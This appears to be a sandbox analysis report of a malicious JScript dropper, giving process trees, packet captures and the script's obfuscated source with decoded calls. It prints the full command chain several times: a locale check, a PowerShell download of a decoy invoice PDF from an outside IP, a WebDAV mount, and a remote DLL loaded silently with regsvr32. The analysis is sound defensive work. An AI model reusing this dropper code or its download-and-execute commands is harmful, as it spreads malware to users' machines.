/ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 03:53:56.765389919 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 03:53:56.765455961 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 03:53:56.765558958 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 03:53:56.765573025 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 03:53:56.765752077 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 03:53:56.765775919 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 11, 2025 03:53:56.766093969 CET	1236	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
Jan 11, 2025 03:53:56.766104937 CET	1236	IN	Data Raw: a6 84 86 2f 65 ee 47 02 e4 bf 9a 9f 04 08 5f 5c 3f 63 eb 7f 0c c0 fc 30 80 f9 14 08 83 7b f9 d5 2c bf d3 16 ea a1 f5 3f 6e 51 ff b3 1f 85 16 e9 47 44 d3 55 95 d3 f6 42 77 5a 3f 2a be e8 db 9b af b7 01 6c ce aa bd 04 bb 2b 7f 60 68 1b 43 3f 0e 62 Data Ascii: /eG_\?c0{,?nQGDUBwZ?*l+`hC?bC31t_PC={6H=17`\|d%4,hze?{l1@PB%hZ/[/Im4UQCcrW~&TZ.QcaRU_rWP5[t0Wi+3=^
Jan 11, 2025 03:53:56.766120911 CET	1048	IN	Data Raw: 00 00 80 69 f0 c5 12 00 6c 81 bf af fa 33 10 7d 7c 1c 3d 8e d0 9c de 38 7a 68 63 7d 0f cd 1d a8 27 bd 49 02 90 ee 65 a9 84 a6 aa 92 d2 8f ce a0 3f fd f4 d3 8f 3f fe f8 c3 0f 3f fc 33 32 fb fb b3 ff 55 aa 68 1a 14 9d 7d 10 c9 43 e5 1e 6a c8 54 a0 Data Ascii: il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAu
Jan 11, 2025 03:53:56.808269024 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	3608	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:53:58.456286907 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 03:53:59.293585062 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:53:59 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	21:53:51
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\200475024256003612.js"
Imagebase:	0x7ff776df0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:53:52
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll
Imagebase:	0x7ff716700000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:53:52
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:53:52
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:53:57
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	21:53:57
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff716700000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:53:57
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff702ae0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:53:58
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:53:58
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	21:53:58
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2180 --field-trial-handle=1540,i,14269894298983428743,2519237243031120885,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function vretewq() {	vretewq() ➔ undefined
1	vczrmwic = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var setpjvm = this[nlmvlrgrm + ztosuwd + xaglpamxr + dcsmaucv + oyuhpqbh + gqkpdo + foydehnuy + fzpoxddgd] ( this[mbuyds + gbuspdn + oezebkz + xaglpamxr + xycssqk + nlmvlrgrm + fzpoxddgd][krrifjtd + xaglpamxr + oyuhpqbh + ztosuwd + fzpoxddgd + oyuhpqbh + clzlmjg + buaqygza + uoapp + oyuhpqbh + oezebkz + fzpoxddgd] ( mbuyds + gbuspdn + oezebkz + xaglpamxr + xycssqk + nlmvlrgrm + fzpoxddgd + ipxiufp + gbuspdn + mnjzpvnjk + oyuhpqbh + rwqdavvj + rwqdavvj ) [trizngcob + oyuhpqbh + jadoumht + trizngcob + oyuhpqbh + ztosuwd + caoxyr] ( alimo + axyop + wdoulld + vlnnhe + xcrvbepkd + krrifjtd + vxqsufqe + trizngcob + trizngcob + wdoulld + cfeblxs + kbjbbja + xcrvbepkd + vxqsufqe + gbuspdn + wdoulld + trizngcob + umbak + krrifjtd + qzfrfzf + foydehnuy + fzpoxddgd + xaglpamxr + qzfrfzf + rwqdavvj + gadhbz + kgeybjv + ztosuwd + foydehnuy + oyuhpqbh + rwqdavvj + umbak + gqkpdo + foydehnuy + fzpoxddgd + oyuhpqbh + xaglpamxr + foydehnuy + ztosuwd + fzpoxddgd + xycssqk + qzfrfzf + foydehnuy + ztosuwd + rwqdavvj + umbak + yszbjuqqh + qzfrfzf + oezebkz + ztosuwd + rwqdavvj + oyuhpqbh ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( mxtajacyv = 0 ; mxtajacyv < vczrmwic[rwqdavvj + oyuhpqbh + foydehnuy + jadoumht + fzpoxddgd + mnjzpvnjk] ; ++ mxtajacyv )
4	{
5	if ( setpjvm == vczrmwic[mxtajacyv] )
6	{
7	setpjvm = true;
8	break ;
9	}
10	}
11	if ( setpjvm !== true )
12	this[mbuyds + gbuspdn + oezebkz + xaglpamxr + xycssqk + nlmvlrgrm + fzpoxddgd][mhiakkt + rpzgmykw + xycssqk + fzpoxddgd] ( );
13	this[mbuyds + gbuspdn + oezebkz + xaglpamxr + xycssqk + nlmvlrgrm + fzpoxddgd][krrifjtd + xaglpamxr + oyuhpqbh + ztosuwd + fzpoxddgd + oyuhpqbh + clzlmjg + buaqygza + uoapp + oyuhpqbh + oezebkz + fzpoxddgd] ( mbuyds + gbuspdn + oezebkz + xaglpamxr + xycssqk + nlmvlrgrm + fzpoxddgd + ipxiufp + gbuspdn + mnjzpvnjk + oyuhpqbh + rwqdavvj + rwqdavvj ) [xaglpamxr + rpzgmykw + foydehnuy] ( oezebkz + zztuvzk + caoxyr + gadhbz + ikoyfrogv + oezebkz + gadhbz + nlmvlrgrm + qzfrfzf + hksxr + oyuhpqbh + xaglpamxr + dcsmaucv + mnjzpvnjk + oyuhpqbh + rwqdavvj + rwqdavvj + ipxiufp + oyuhpqbh + xygzvfazr + oyuhpqbh + gadhbz + ajhohzp + krrifjtd + qzfrfzf + zztuvzk + zztuvzk + ztosuwd + foydehnuy + caoxyr + gadhbz + kzasd + gqkpdo + foydehnuy + bozljram + qzfrfzf + yyntoc + oyuhpqbh + ajhohzp + mbuyds + oyuhpqbh + buaqygza + trizngcob + oyuhpqbh + vdbqscsw + rpzgmykw + oyuhpqbh + dcsmaucv + fzpoxddgd + gadhbz + ajhohzp + clzlmjg + rpzgmykw + fzpoxddgd + cxekeli + xycssqk + rwqdavvj + oyuhpqbh + gadhbz + mssvg + fzpoxddgd + oyuhpqbh + zztuvzk + nlmvlrgrm + mssvg + umbak + xycssqk + foydehnuy + bozljram + qzfrfzf + xycssqk + oezebkz + oyuhpqbh + ipxiufp + nlmvlrgrm + caoxyr + weotrfysa + gadhbz + mnjzpvnjk + fzpoxddgd + fzpoxddgd + nlmvlrgrm + pendqgjm + ikoyfrogv + ikoyfrogv + bmpjgxt + eaevnp + ufzmicqc + ipxiufp + bmpjgxt + xfaiabzkb + ufzmicqc + ipxiufp + bmpjgxt + ipxiufp + benvm + isjzzv + iqljdmgp + ikoyfrogv + xycssqk + foydehnuy + bozljram + qzfrfzf + xycssqk + oezebkz + oyuhpqbh + ipxiufp + nlmvlrgrm + mnjzpvnjk + nlmvlrgrm + kzasd + zhrkxc + zhrkxc + dcsmaucv + fzpoxddgd + ztosuwd + xaglpamxr + fzpoxddgd + gadhbz + mssvg + fzpoxddgd + oyuhpqbh + zztuvzk + nlmvlrgrm + mssvg + umbak + xycssqk + foydehnuy + bozljram + qzfrfzf + xycssqk + oezebkz + oyuhpqbh + ipxiufp + nlmvlrgrm + caoxyr + weotrfysa + zhrkxc + zhrkxc + oezebkz + zztuvzk + caoxyr + gadhbz + ikoyfrogv + oezebkz + gadhbz + foydehnuy + oyuhpqbh + fzpoxddgd + gadhbz + rpzgmykw + dcsmaucv + oyuhpqbh + gadhbz + umbak + umbak + bmpjgxt + eaevnp + ufzmicqc + ipxiufp + bmpjgxt + xfaiabzkb + ufzmicqc + ipxiufp + bmpjgxt + ipxiufp + benvm + isjzzv + iqljdmgp + tujzdlb + kaurasf + kaurasf + kaurasf + kaurasf + umbak + caoxyr + ztosuwd + bozljram + hksxr + hksxr + hksxr + xaglpamxr + qzfrfzf + qzfrfzf + fzpoxddgd + umbak + zhrkxc + zhrkxc + oezebkz + zztuvzk + caoxyr + gadhbz + ikoyfrogv + oezebkz + gadhbz + xaglpamxr + oyuhpqbh + jadoumht + dcsmaucv + bozljram + xaglpamxr + ufzmicqc + benvm + gadhbz + ikoyfrogv + dcsmaucv + gadhbz + umbak + umbak + bmpjgxt + eaevnp + ufzmicqc + ipxiufp + bmpjgxt + xfaiabzkb + ufzmicqc + ipxiufp + bmpjgxt + ipxiufp + benvm + isjzzv + iqljdmgp + tujzdlb + kaurasf + kaurasf + kaurasf + kaurasf + umbak + caoxyr + ztosuwd + bozljram + hksxr + hksxr + hksxr + xaglpamxr + qzfrfzf + qzfrfzf + fzpoxddgd + umbak + bmpjgxt + ufzmicqc + benvm + ufzmicqc + bmpjgxt + kcntw + eaevnp + eaevnp + ufzmicqc + bmpjgxt + ufzmicqc + isjzzv + iqljdmgp + iqljdmgp + ipxiufp + caoxyr + rwqdavvj + rwqdavvj, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll",0,false) ➔ 0
14	}
15	bmpjgxt = "C";
16	bmpjgxt = "n";
17	bmpjgxt = "S";
18	bmpjgxt = "Y";
19	bmpjgxt = "R";
20	bmpjgxt = "p";
21	bmpjgxt = "J";
22	bmpjgxt = "K";
23	bmpjgxt = "n";
24	bmpjgxt = "Y";
25	bmpjgxt = "Y";
26	bmpjgxt = "x";
27	bmpjgxt = "y";
28	bmpjgxt = "A";
29	bmpjgxt = "P";
30	bmpjgxt = "C";
31	bmpjgxt = "t";
32	bmpjgxt = "q";
33	bmpjgxt = "I";
34	bmpjgxt = "s";
35	bmpjgxt = "B";
36	bmpjgxt = "a";
37	bmpjgxt = "x";
38	bmpjgxt = "Y";
39	bmpjgxt = "v";
40	bmpjgxt = "Z";
41	bmpjgxt = "Y";
42	bmpjgxt = "N";
43	bmpjgxt = "K";
44	bmpjgxt = "r";
45	bmpjgxt = "z";
46	bmpjgxt = "o";
47	bmpjgxt = "1";
48	buaqygza = "P";
49	buaqygza = "y";
50	buaqygza = "i";
51	buaqygza = "y";
52	buaqygza = "n";
53	buaqygza = "Q";
54	buaqygza = "f";
55	buaqygza = "Q";
56	buaqygza = "z";
57	buaqygza = "Z";
58	buaqygza = "m";
59	buaqygza = "L";
60	buaqygza = "b";
61	yyntoc = "i";
62	yyntoc = "l";
63	yyntoc = "M";
64	yyntoc = "V";
65	yyntoc = "z";
66	yyntoc = "A";
67	yyntoc = "T";
68	yyntoc = "i";
69	yyntoc = "X";
70	yyntoc = "w";
71	yyntoc = "m";
72	yyntoc = "k";
73	axyop = "w";
74	axyop = "f";
75	axyop = "O";
76	axyop = "z";
77	axyop = "S";
78	axyop = "U";
79	axyop = "w";
80	axyop = "v";
81	axyop = "X";
82	axyop = "X";
83	axyop = "S";
84	axyop = "F";
85	axyop = "w";
86	axyop = "O";
87	axyop = "m";
88	axyop = "S";
89	axyop = "u";
90	axyop = "X";
91	axyop = "e";
92	axyop = "O";
93	axyop = "H";
94	axyop = "J";
95	axyop = "c";
96	axyop = "I";
97	axyop = "K";
98	krrifjtd = "C";
99	krrifjtd = "d";
100	krrifjtd = "k";
101	krrifjtd = "V";
102	krrifjtd = "P";
103	krrifjtd = "O";
104	krrifjtd = "L";
105	krrifjtd = "I";
106	krrifjtd = "K";
107	krrifjtd = "F";
108	krrifjtd = "P";
109	krrifjtd = "a";
110	krrifjtd = "q";
111	krrifjtd = "a";
112	krrifjtd = "b";
113	krrifjtd = "v";
114	krrifjtd = "H";
115	krrifjtd = "c";
116	krrifjtd = "E";
117	krrifjtd = "M";
118	krrifjtd = "S";
119	krrifjtd = "D";
120	krrifjtd = "p";
121	krrifjtd = "S";
122	krrifjtd = "n";
123	krrifjtd = "V";
124	krrifjtd = "q";
125	krrifjtd = "Y";
126	krrifjtd = "r";
127	krrifjtd = "b";
128	krrifjtd = "Z";
129	krrifjtd = "q";
130	krrifjtd = "x";
131	krrifjtd = "T";
132	krrifjtd = "H";
133	krrifjtd = "z";
134	krrifjtd = "O";
135	krrifjtd = "l";
136	krrifjtd = "U";
137	krrifjtd = "m";
138	krrifjtd = "F";
139	krrifjtd = "C";
140	krrifjtd = "C";
141	cxekeli = "N";
142	cxekeli = "q";
143	cxekeli = "C";
144	cxekeli = "U";
145	cxekeli = "F";
146	cxekeli = "f";
147	cxekeli = "Z";
148	cxekeli = "e";
149	cxekeli = "t";
150	cxekeli = "y";
151	cxekeli = "P";
152	cxekeli = "W";
153	cxekeli = "W";
154	cxekeli = "F";
155	qzfrfzf = "D";
156	qzfrfzf = "k";
157	qzfrfzf = "o";
158	qzfrfzf = "E";
159	qzfrfzf = "b";
160	qzfrfzf = "a";
161	qzfrfzf = "W";
162	qzfrfzf = "n";
163	qzfrfzf = "o";
164	dcsmaucv = "H";
165	dcsmaucv = "P";
166	dcsmaucv = "B";
167	dcsmaucv = "J";
168	dcsmaucv = "S";
169	dcsmaucv = "Q";
170	dcsmaucv = "m";
171	dcsmaucv = "B";
172	dcsmaucv = "Z";
173	dcsmaucv = "J";
174	dcsmaucv = "T";
175	dcsmaucv = "G";
176	dcsmaucv = "u";
177	dcsmaucv = "c";
178	dcsmaucv = "p";
179	dcsmaucv = "M";
180	dcsmaucv = "g";
181	dcsmaucv = "t";
182	dcsmaucv = "R";
183	dcsmaucv = "T";
184	dcsmaucv = "Y";
185	dcsmaucv = "Z";
186	dcsmaucv = "g";
187	dcsmaucv = "T";
188	dcsmaucv = "U";
189	dcsmaucv = "H";
190	dcsmaucv = "V";
191	dcsmaucv = "I";
192	dcsmaucv = "j";
193	dcsmaucv = "s";
194	xfaiabzkb = "N";
195	xfaiabzkb = "k";
196	xfaiabzkb = "e";
197	xfaiabzkb = "L";
198	xfaiabzkb = "w";
199	xfaiabzkb = "q";
200	xfaiabzkb = "z";
201	xfaiabzkb = "t";
202	xfaiabzkb = "e";
203	xfaiabzkb = "F";
204	xfaiabzkb = "j";
205	xfaiabzkb = "G";
206	xfaiabzkb = "y";
207	xfaiabzkb = "S";
208	xfaiabzkb = "I";
209	xfaiabzkb = "h";
210	xfaiabzkb = "R";
211	xfaiabzkb = "P";
212	xfaiabzkb = "d";
213	xfaiabzkb = "M";
214	xfaiabzkb = "q";
215	xfaiabzkb = "a";
216	xfaiabzkb = "O";
217	xfaiabzkb = "I";
218	xfaiabzkb = "v";
219	xfaiabzkb = "R";
220	xfaiabzkb = "a";
221	xfaiabzkb = "V";
222	xfaiabzkb = "P";
223	xfaiabzkb = "x";
224	xfaiabzkb = "W";
225	xfaiabzkb = "y";
226	xfaiabzkb = "P";
227	xfaiabzkb = "O";
228	xfaiabzkb = "V";
229	xfaiabzkb = "4";
230	vlnnhe = "f";
231	vlnnhe = "m";
232	vlnnhe = "M";
233	vlnnhe = "j";
234	vlnnhe = "L";
235	vlnnhe = "z";
236	vlnnhe = "F";
237	vlnnhe = "u";
238	vlnnhe = "X";
239	vlnnhe = "S";
240	vlnnhe = "r";
241	vlnnhe = "D";
242	vlnnhe = "N";
243	vlnnhe = "C";
244	vlnnhe = "s";
245	vlnnhe = "v";
246	vlnnhe = "O";
247	vlnnhe = "Y";
248	mbuyds = "N";
249	mbuyds = "b";
250	mbuyds = "a";
251	mbuyds = "o";
252	mbuyds = "f";
253	mbuyds = "E";
254	mbuyds = "E";
255	mbuyds = "H";
256	mbuyds = "L";
257	mbuyds = "p";
258	mbuyds = "F";
259	mbuyds = "X";
260	mbuyds = "K";
261	mbuyds = "x";
262	mbuyds = "R";
263	mbuyds = "A";
264	mbuyds = "J";
265	mbuyds = "X";
266	mbuyds = "x";
267	mbuyds = "C";
268	mbuyds = "v";
269	mbuyds = "b";
270	mbuyds = "W";
271	mbuyds = "d";
272	mbuyds = "o";
273	mbuyds = "b";
274	mbuyds = "Y";
275	mbuyds = "v";
276	mbuyds = "F";
277	mbuyds = "T";
278	mbuyds = "D";
279	mbuyds = "P";
280	mbuyds = "G";
281	mbuyds = "h";
282	mbuyds = "y";
283	mbuyds = "K";
284	mbuyds = "L";
285	mbuyds = "A";
286	mbuyds = "W";
287	vdbqscsw = "B";
288	vdbqscsw = "u";
289	vdbqscsw = "c";
290	vdbqscsw = "z";
291	vdbqscsw = "x";
292	vdbqscsw = "L";
293	vdbqscsw = "A";
294	vdbqscsw = "B";
295	vdbqscsw = "y";
296	vdbqscsw = "Y";
297	vdbqscsw = "P";
298	vdbqscsw = "c";
299	vdbqscsw = "u";
300	vdbqscsw = "E";
301	vdbqscsw = "P";
302	vdbqscsw = "q";
303	trizngcob = "u";
304	trizngcob = "d";
305	trizngcob = "D";
306	trizngcob = "T";
307	trizngcob = "C";
308	trizngcob = "P";
309	trizngcob = "b";
310	trizngcob = "u";
311	trizngcob = "b";
312	trizngcob = "I";
313	trizngcob = "L";
314	trizngcob = "F";
315	trizngcob = "n";
316	trizngcob = "w";
317	trizngcob = "p";
318	trizngcob = "s";
319	trizngcob = "G";
320	trizngcob = "y";
321	trizngcob = "N";
322	trizngcob = "d";
323	trizngcob = "q";
324	trizngcob = "h";
325	trizngcob = "N";
326	trizngcob = "R";
327	gqkpdo = "d";
328	gqkpdo = "O";
329	gqkpdo = "s";
330	gqkpdo = "U";
331	gqkpdo = "l";
332	gqkpdo = "a";
333	gqkpdo = "g";
334	gqkpdo = "o";
335	gqkpdo = "l";
336	gqkpdo = "E";
337	gqkpdo = "z";
338	gqkpdo = "I";
339	gqkpdo = "T";
340	gqkpdo = "q";
341	gqkpdo = "X";
342	gqkpdo = "I";
343	xaglpamxr = "a";
344	xaglpamxr = "x";
345	xaglpamxr = "k";
346	xaglpamxr = "R";
347	xaglpamxr = "O";
348	xaglpamxr = "m";
349	xaglpamxr = "g";
350	xaglpamxr = "E";
351	xaglpamxr = "k";
352	xaglpamxr = "V";
353	xaglpamxr = "f";
354	xaglpamxr = "T";
355	xaglpamxr = "C";
356	xaglpamxr = "e";
357	xaglpamxr = "q";
358	xaglpamxr = "r";
359	xaglpamxr = "l";
360	xaglpamxr = "B";
361	xaglpamxr = "g";
362	xaglpamxr = "r";
363	xaglpamxr = "Z";
364	xaglpamxr = "j";
365	xaglpamxr = "n";
366	xaglpamxr = "L";
367	xaglpamxr = "f";
368	xaglpamxr = "m";
369	xaglpamxr = "T";
370	xaglpamxr = "P";
371	xaglpamxr = "A";
372	xaglpamxr = "e";
373	xaglpamxr = "w";
374	xaglpamxr = "r";
375	kbjbbja = "u";
376	kbjbbja = "w";
377	kbjbbja = "n";
378	kbjbbja = "m";
379	kbjbbja = "V";
380	kbjbbja = "f";
381	kbjbbja = "J";
382	kbjbbja = "O";
383	kbjbbja = "Q";
384	kbjbbja = "y";
385	kbjbbja = "T";
386	jadoumht = "M";
387	jadoumht = "C";
388	jadoumht = "K";
389	jadoumht = "V";
390	jadoumht = "A";
391	jadoumht = "B";
392	jadoumht = "V";
393	jadoumht = "y";
394	jadoumht = "a";
395	jadoumht = "h";
